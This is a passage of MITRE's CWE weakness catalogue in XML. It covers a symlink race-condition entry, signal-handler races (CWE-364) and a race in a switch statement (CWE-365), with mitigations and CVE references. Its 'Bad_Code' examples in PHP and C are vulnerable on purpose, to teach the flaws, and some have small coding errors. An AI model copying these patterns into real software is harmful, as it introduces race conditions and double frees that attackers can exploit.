					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-49">
					          <Intro_Text> This code prints the contents of a file if a user has permission. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>function readFile($filename){</Code>
							              <Block>
								                <Code>$user = getCurrentUser();</Code>
								                <Code/>
								                <Comment>//resolve file if its a symbolic link</Comment>
								                <Code>if(is_link($filename)){</Code>
								                <Block>
									                  <Code>$filename = readlink($filename);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>if(fileowner($filename) == $user){</Code>
								                <Block>
									                  <Code>echo file_get_contents($realFile);</Code>
									                  <Code>return;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else{</Code>
								                <Block>
									                  <Code>echo 'Access denied';</Code>
									                  <Code>return false;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> This code attempts to resolve symbolic links before checking the file
							and printing its contents. However, an attacker may be able to change
							the file from a real file to a symbolic link between the calls to
							is_link() and file_get_contents(), allowing the reading of arbitrary
							files. Note that this code fails to log the attempted access
							(CWE-778).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 9, "Race Conditions", Page 526.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Race condition enabling link following</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Avoid race conditions while checking for the existence of a
						symbolic link</Mapped_Node_Name>
					          <Mapped_Node_ID>POS35-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>26</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="364" Name="Signal Handler Race Condition" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses a signal handler that introduces a race
					condition. </Description_Summary>
				        <Extended_Description>
					          <Text>Race conditions frequently occur in signal handlers, since signal handlers
						support asynchronous actions. These race conditions have a variety of root
						causes and symptoms. Attackers may be able to exploit a signal handler race
						condition to cause the software state to be corrupted, possibly leading to a
						denial of service or even code execution.</Text>
					          <Text>These issues occur when non-reentrant functions, or state-sensitive
						actions occur in the signal handler, where they may be called at any time.
						These behaviors can violate assumptions being made by the "regular" code
						that is interrupted, or by other signal handlers that may also be invoked.
						If these functions are called at an inopportune moment - such as while a
						non-reentrant function is already running - memory corruption could occur
						that may be exploitable for code execution. Another signal race condition
						commonly found occurs when free is called within a signal handler, resulting
						in a double free and therefore a write-what-where condition. Even if a given
						pointer is set to NULL after it has been freed, a race condition still
						exists between the time the memory was freed and the pointer was set to
						NULL. This is especially problematic if the same signal handler has been set
						for more than one signal -- since it means that the signal handler itself
						may be reentered.</Text>
					          <Text>There are several known behaviors related to signal handlers that have
						received the label of "signal handler race condition":</Text>
					          <Block Block_Nature="List">
						            <Text>Shared state (e.g. global data or static variables) that are
							accessible to both a signal handler and "regular" code</Text>
						            <Text>Shared state between a signal handler and other signal handlers</Text>
						            <Text>Use of non-reentrant functionality within a signal handler - which
							generally implies that shared state is being used. For example, malloc()
							and free() are non-reentrant because they may use global or static data
							structures for managing memory, and they are indirectly used by
							innocent-seeming functions such as syslog(); these functions could be
							exploited for memory corruption and, possibly, code execution.</Text>
						            <Text>Association of the same signal handler function with multiple signals
							- which might imply shared state, since the same code and resources are
							accessed. For example, this can be a source of double-free and
							use-after-free weaknesses.</Text>
						            <Text>Use of setjmp and longjmp, or other mechanisms that prevent a signal
							handler from returning control back to the original functionality</Text>
						            <Text>While not technically a race condition, some signal handlers are
							designed to be called at most once, and being called more than once can
							introduce security problems, even when there are not any concurrent
							calls to the signal handler. This can be a source of double-free and
							use-after-free weaknesses.</Text>
					          </Block>
					          <Text>Signal handler vulnerabilities are often classified based on the absence
						of a specific protection mechanism, although this style of classification is
						discouraged in CWE because programmers often have a choice of several
						different mechanisms for addressing the weakness. Such protection mechanisms
						may preserve exclusivity of access to the shared resource, and behavioral
						atomicity for the relevant code: </Text>
					          <Block Block_Nature="List">
						            <Text>Avoiding shared state</Text>
						            <Text>Using synchronization in the signal handler</Text>
						            <Text>Using synchronization in the regular code</Text>
						            <Text>Disabling or masking other signals, which provides atomicity (which
							effectively ensures exclusivity)</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>362</Relationship_Target_ID>
					          <!--Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>415</Relationship_Target_ID>
					          <!--Double Free-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>416</Relationship_Target_ID>
					          <!--Use After Free-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>123</Relationship_Target_ID>
					          <!--Write-what-where Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>387</Relationship_Target_ID>
					          <!--Signal Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C" Prevalence="Sometimes"/>
					          <Language Language_Name="C++" Prevalence="Sometimes"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>It may be possible to cause data corruption and possibly execute
							arbitrary code by modifying global variables or data structures at
							unexpected times, violating the assumptions of code that uses this
							global data.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If a signal handler interrupts code that is executing with privileges,
							it may be possible that the signal handler will also be executed with
							elevated privileges, possibly making subsequent exploits more
							severe.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-3">
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Language Selection</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a language that does not allow this weakness to occur or provides
							constructs that make this weakness easier to avoid.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Design signal handlers to only set flags, rather than perform complex
							functionality. These flags can then be checked and acted upon within the
							main program loop.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Only use reentrant functions within signal handlers. Also, use sanity
							checks to ensure that state is consistent while performing asynchronous
							actions that affect the state of execution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-26">
					          <Intro_Text>This code registers the same signal handler function with two
						different signals (CWE-831). If those signals are sent to the process, the
						handler creates a log message (specified in the first argument to the
						program) and exits.</Intro_Text>
					          <Example_Body>
						            <Code_Example_Language>C</Code_Example_Language>
						            <Block Block_Nature="Bad_Code">
							              <Code>char *logMessage;</Code>
							              <Code/>
							              <Code>void handler (int sigNum) {</Code>
							              <Block>
								                <Code>syslog(LOG_NOTICE, "%s\n", logMessage);</Code>
								                <Code>free(logMessage);</Code>
								                <Comment>/* artificially increase the size of the timing window to
									make demonstration of this weakness easier. */</Comment>
								                <Code>sleep(10);</Code>
								                <Code>exit(0);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>int main (int argc, char* argv[]) {</Code>
							              <Block>
								                <Code>logMessage = strdup(argv[1]);</Code>
								                <Comment>/* Register signal handlers. */</Comment>
								                <Code>signal(SIGHUP, handler);</Code>
								                <Code>signal(SIGTERM, handler);</Code>
								                <Comment>/* artificially increase the size of the timing window to
									make demonstration of this weakness easier. */</Comment>
								                <Code>sleep(10);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The handler function uses global state (globalVar and logMessage), and
							it can be called by both the SIGHUP and SIGTERM signals. An attack
							scenario might follow these lines:</Text>
						            <Block Block_Nature="List">
							              <Text>The program begins execution, initializes logMessage, and
								registers the signal handlers for SIGHUP and SIGTERM. </Text>
							              <Text>The program begins its "normal" functionality, which is simplified
								as sleep(), but could be any functionality that consumes some
								time.</Text>
							              <Text>The attacker sends SIGHUP, which invokes handler (call this
								"SIGHUP-handler").</Text>
							              <Text>SIGHUP-handler begins to execute, calling syslog().</Text>
							              <Text>syslog() calls malloc(), which is non-reentrant. malloc() begins
								to modify metadata to manage the heap.</Text>
							              <Text>The attacker then sends SIGTERM.</Text>
							              <Text>SIGHUP-handler is interrupted, but syslog's malloc call is still
								executing and has not finished modifying its metadata.</Text>
							              <Text>The SIGTERM handler is invoked.</Text>
							              <Text>SIGTERM-handler records the log message using syslog(), then frees
								the logMessage variable.</Text>
						            </Block>
						            <Text>At this point, the state of the heap is uncertain, because malloc is
							still modifying the metadata for the heap; the metadata might be in an
							inconsistent state. The SIGTERM-handler call to free() is assuming that
							the metadata is inconsistent, possibly causing it to write data to the
							wrong location while managing the heap. The result is memory corruption,
							which could lead to a crash or even code execution, depending on the
							circumstances under which the code is running.</Text>
						            <Text>Note that this is an adaptation of a classic example as originally
							presented by Michal Zalewski (see references); the original example was
							shown to be exploitable for code execution.</Text>
						            <Text>Also note that the strdup(argv[1]) call contains a potential buffer
							over-read (CWE-126) if the program is called without any arguments,
							because argc would be 0, and argv[1] would point outside the bounds of
							the array.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-48">
					          <Intro_Text>The following code registers a signal handler with multiple signals
						in order to log when a specific event occurs and to free associated memory
						before exiting.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#include &lt;signal.h&gt;</Code>
							              <Code>#include &lt;syslog.h&gt;</Code>
							              <Code>#include &lt;string.h&gt;</Code>
							              <Code>#include &lt;stdlib.h&gt;</Code>
							              <Code/>
							              <Code>void *global1, *global2;</Code>
							              <Code>char *what;</Code>
							              <Code>void sh (int dummy) {</Code>
							              <Block>
								                <Code>syslog(LOG_NOTICE,"%s\n",what);</Code>
								                <Code>free(global2);</Code>
								                <Code>free(global1);</Code>
								                <Comment>/* Sleep statements added to expand timing window for race
									condition */</Comment>
								                <Code>sleep(10);</Code>
								                <Code>exit(0);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>int main (int argc,char* argv[]) {</Code>
							              <Block>
								                <Code>what=argv[1];</Code>
								                <Code>global1=strdup(argv[2]);</Code>
								                <Code>global2=malloc(340);</Code>
								                <Code>signal(SIGHUP,sh);</Code>
								                <Code>signal(SIGTERM,sh);</Code>
								                <Comment>/* Sleep statements added to expand timing window for race
									condition */</Comment>
								                <Code>sleep(10);</Code>
								                <Code>exit(0);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the following sequence of events may result in a double-free
							(CWE-415):</Text>
						            <Block Block_Nature="Numeric_List">
							              <Text>a SIGHUP is delivered to the process</Text>
							              <Text>sh() is invoked to process the SIGHUP</Text>
							              <Text>This first invocation of sh() reaches the point where global1 is
								freed</Text>
							              <Text>At this point, a SIGTERM is sent to the process</Text>
							              <Text>the second invocation of sh() might do another free of
								global1</Text>
							              <Text>this results in a double-free (CWE-415)</Text>
						            </Block>
						            <Text>This is just one possible exploitation of the above code. As another
							example, the syslog call may use malloc calls which are not async-signal
							safe. This could cause corruption of the heap management structures. For
							more details, consult the example within "Delivering Signals for Fun and
							Profit" (see references).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0035</Observed_Example_Reference>
					          <Observed_Example_Description>Signal handler does not disable other signal
						handlers, allowing it to be interrupted, causing other functionality to
						access files/etc. with raised privileges</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0905</Observed_Example_Reference>
					          <Observed_Example_Description>Attacker can send a signal while another signal
						handler is already running, leading to crash or execution with root
						privileges</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1349</Observed_Example_Reference>
					          <Observed_Example_Description>unsafe calls to library functions from signal
						handler</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0794</Observed_Example_Reference>
					          <Observed_Example_Description>SIGURG can be used to remotely interrupt signal
						handler; other variants exist</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2259</Observed_Example_Reference>
					          <Observed_Example_Description>handler for SIGCHLD uses non-reentrant
						functions</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Signals, interprocess communication</Functional_Area>
			      </Functional_Areas>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
			      </Affected_Resources>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Probably under-studied.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Title>Delivering Signals for Fun and Profit</Reference_Title>
					          <Reference_Link>http://lcamtuf.coredump.cx/signals.txt</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Title>Race Condition: Signal Handling</Reference_Title>
					          <Reference_Link>http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 13: Race Conditions." Page 205</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 13, "Signal Vulnerabilities", Page
						791.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Signal handler race condition</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Signal Handling Race Conditions</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Race condition in signal handler</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Description, Observed_Examples, Other_Notes, Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="365" Name="Race Condition in Switch" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The code contains a switch statement in which the switched
					variable can be modified while the switch is still executing, resulting in
					unexpected behavior.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>367</Relationship_Target_ID>
					          <!--Time-of-check Time-of-use (TOCTOU) Race Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>364</Relationship_Target_ID>
					          <!--Signal Handler Race Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>366</Relationship_Target_ID>
					          <!--Race Condition within a Thread-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>748</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 50 - POSIX (POS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>This issue is particularly important in the case of switch statements that
						involve fall-through style case statements -- ie., those which do not end
						with break. If the variable which we are switching on change in the course
						of execution, the actions carried out may place the state of the process in
						a contradictory state or even result in memory corruption. For this reason,
						it is important to ensure that all variables involved in switch statements
						are locked before the statement starts and are unlocked when the statement
						ends.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This flaw will result in the system state going out of sync.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Variables that may be subject to race conditions should be locked for
							the duration of any switch statements.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This example has a switch statement that executes different code
						depending on the current time.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>#include &lt;sys/types.h&gt;</Code>
							              <Code>#include &lt;sys/stat.h&gt;</Code>
							              <Code>int main(argc,argv){</Code>
							              <Block>
								                <Code>struct stat *sb;</Code>
								                <Code>time_t timer;</Code>
								                <Code>lstat("bar.sh",sb);</Code>
								                <Code>printf("%d\n",sb-&gt;st_ctime);</Code>
								                <Code>switch(sb-&gt;st_ctime % 2){</Code>
								                <Block>
									                  <Code>case 0: printf("One option\n");</Code>
									                  <Code>break;</Code>
									                  <Code>case 1: printf("another option\n");</Code>
									                  <Code>break;</Code>
									                  <Code>default: printf("huh\n");</Code>
									                  <Code>break;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return 0;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> It seems that the default case of the switch statement should never
							be reached, as st_ctime % 2 should always be 0 or 1. However, if
							st_ctime % 2 is 1 when the first case is evaluated, the time may change
							and st_ctime % 2 may be equal to 0 when the second case is evaluated.
							The result is that neither case 1 or case 2 execute, and the default
							option is chosen. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 13: Race Conditions." Page 205</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Race condition in switch</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Avoid race conditions while checking for the existence of a
						symbolic link</Mapped_Node_Name>
					          <Mapped_Node_ID>POS35-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
